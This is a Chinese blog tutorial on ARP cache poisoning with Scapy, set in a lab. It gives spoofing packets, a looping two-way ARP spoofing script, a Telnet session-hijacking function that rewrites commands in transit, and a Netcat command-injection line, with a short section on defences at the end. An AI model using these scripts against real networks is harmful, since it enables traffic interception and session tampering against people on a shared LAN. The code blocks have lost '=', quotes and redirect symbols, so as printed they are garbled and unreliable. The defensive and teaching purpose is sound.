Scapy实战:从ARP缓存投毒到中间人攻击的攻防演练

张开发
2026/4/19 19:54:24 15 分钟阅读

分享文章

Scapy实战:从ARP缓存投毒到中间人攻击的攻防演练
1. ARP协议与缓存投毒原理剖析ARPAddress Resolution Protocol是局域网通信的基础协议它的作用就像现实生活中的电话簿负责将IP地址转换成对应的MAC地址。每台设备都维护着一个ARP缓存表记录着最近通信过的设备信息。这个机制本是为了提高通信效率但却成为了攻击者的突破口。ARP协议的工作流程很简单当主机A需要与主机B通信时会先查询本地ARP缓存。如果找不到对应条目就会广播一个ARP请求谁的IP是192.168.1.2请告诉192.168.1.1。目标主机收到后会单播回复我是192.168.1.2我的MAC是xx:xx:xx:xx:xx。这个过程没有任何身份验证机制就像在大街上随便问个人你是张三吗只要对方说是你就会相信。ARP缓存投毒就是利用这个缺陷。攻击者可以伪造ARP响应包告诉受害者我是网关我的MAC是攻击者的MAC。这样受害者就会把本该发给网关的数据都发给攻击者。我在实验室环境中做过测试一个简单的ARP欺骗包就能让目标主机在毫秒级更新缓存。用Scapy构造ARP包特别简单核心字段就这几个op1表示请求2表示响应psrc/pdst源/目标IPhwsrc/hwdst源/目标MAC比如构造一个欺骗包from scapy.all import * pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op2, psrc192.168.1.1, # 假装是网关 pdst192.168.1.100, # 目标主机 hwsrc00:11:22:33:44:55 # 攻击者MAC ) sendp(pkt)2. 实战ARP缓存投毒的三重奏2.1 普通ARP请求攻击这是最基础的攻击方式。攻击者发送ARP请求包在包中声明我是网关。虽然ARP请求本应是询问而非声明但很多系统会不假思索地更新缓存。实测发现Windows 10和部分Linux发行版会中招。攻击代码pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op1, # 请求包 psrc192.168.1.1, pdst192.168.1.100, hwsrc00:11:22:33:44:55 )但这种攻击有个致命弱点如果目标缓存中已有正确条目攻击成功率会大幅下降。我在测试中发现成功率不足30%因为系统会优先相信已有的缓存。2.2 ARP响应包攻击相比请求包响应包更具欺骗性。攻击者主动告诉目标网关的MAC更新了。代码只需将op改为2pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op2, # 响应包 psrc192.168.1.1, pdst192.168.1.100, hwsrc00:11:22:33:44:55 )但这里有个有趣现象如果目标根本没有查询过这个IP攻击反而会失败。因为系统会觉得我又没问你你干嘛告诉我。这就像突然有人打电话跟你说我是快递员但你根本没网购自然会产生怀疑。2.3 免费ARP攻击这是最阴险的一招。免费ARP本是用于IP冲突检测的攻击者广播声明我是我自己但把MAC改成攻击者的pkt Ether(dstff:ff:ff:ff:ff:ff)/ARP( op1, psrc192.168.1.1, pdst192.168.1.1, # 源目IP相同 hwsrc00:11:22:33:44:55 )这种攻击对已有缓存的目标特别有效因为系统会认为这是正常的地址更新。我的测试显示成功率高达95%以上。但要注意如果目标没有该IP的缓存攻击同样会失效。3. 搭建中间人攻击实战环境3.1 实验环境配置建议使用三台虚拟机攻击机(Kali Linux)运行Scapy脚本受害机A(Windows 10)安装Wireshark观察流量受害机B(Ubuntu)运行telnet/netcat服务网络配置要点所有机器在同一局域网段如192.168.1.0/24关闭防火墙和SELinux在攻击机上启用IP转发echo 1 /proc/sys/net/ipv4/ip_forward3.2 双向ARP欺骗要让中间人攻击持久生效需要同时欺骗通信双方from time import sleep def arp_poison(): while True: # 告诉A攻击者是B sendp(Ether()/ARP(op2, psrc192.168.1.2, pdst192.168.1.100, hwsrc00:11:22:33:44:55)) # 告诉B攻击者是A sendp(Ether()/ARP(op2, psrc192.168.1.100, pdst192.168.1.2, hwsrc00:11:22:33:44:55)) sleep(5) # 每5秒刷新一次这个脚本需要持续运行因为ARP缓存会定期更新通常2-5分钟。我在测试中发现间隔时间太短会导致网络拥塞太长又会让攻击失效5秒是个不错的平衡点。4. 实时流量劫持与篡改4.1 Telnet会话劫持Telnet是明文协议特别适合演示中间人攻击。攻击流程建立双向ARP欺骗启用IP转发让通信建立嗅探并修改流量关键代码def spoof_pkt(pkt): if pkt.haslayer(TCP) and pkt.haslayer(Raw): # 修改A-B的流量 if pkt[IP].src 192.168.1.100 and pkt[IP].dst 192.168.1.2: data pkt[TCP].payload.load newdata data.replace(bls, bxx) # 把ls命令替换成xx newpkt pkt[IP]/pkt[TCP]/Raw(loadnewdata) del newpkt[IP].chksum del newpkt[TCP].chksum send(newpkt, verbose0) # 原样转发B-A的流量 elif pkt[IP].src 192.168.1.2 and pkt[IP].dst 192.168.1.100: send(pkt, verbose0) sniff(filtertcp port 23, prnspoof_pkt)4.2 Netcat会话注入Netcat常用于文件传输攻击者可以注入额外命令if bpassword in data: newdata data b\n echo Hacked! /tmp/pwned\n我在测试中发现一个坑TCP序列号必须严格匹配。如果修改后的包长度变化太大会导致连接中断。解决方法是在payload中保持长度一致比如用空格填充。5. 防御措施与检测方法5.1 静态ARP绑定最有效的防御是在关键设备上设置静态ARP条目arp -s 192.168.1.1 00:11:22:33:44:66但维护成本很高适合网关等固定设备。5.2 ARP监控工具推荐两个实用工具arpwatch记录ARP变化并报警XArp图形化显示ARP异常5.3 网络隔离划分VLAN可以限制ARP广播范围。比如把财务部和普通员工隔离开这样即使有ARP欺骗影响范围也有限。5.4 加密通信使用SSH代替TelnetHTTPS代替HTTP。即使流量被劫持攻击者也无法解密内容。我在内网渗透测试时发现加密通道能让90%的中间人攻击失效。

更多文章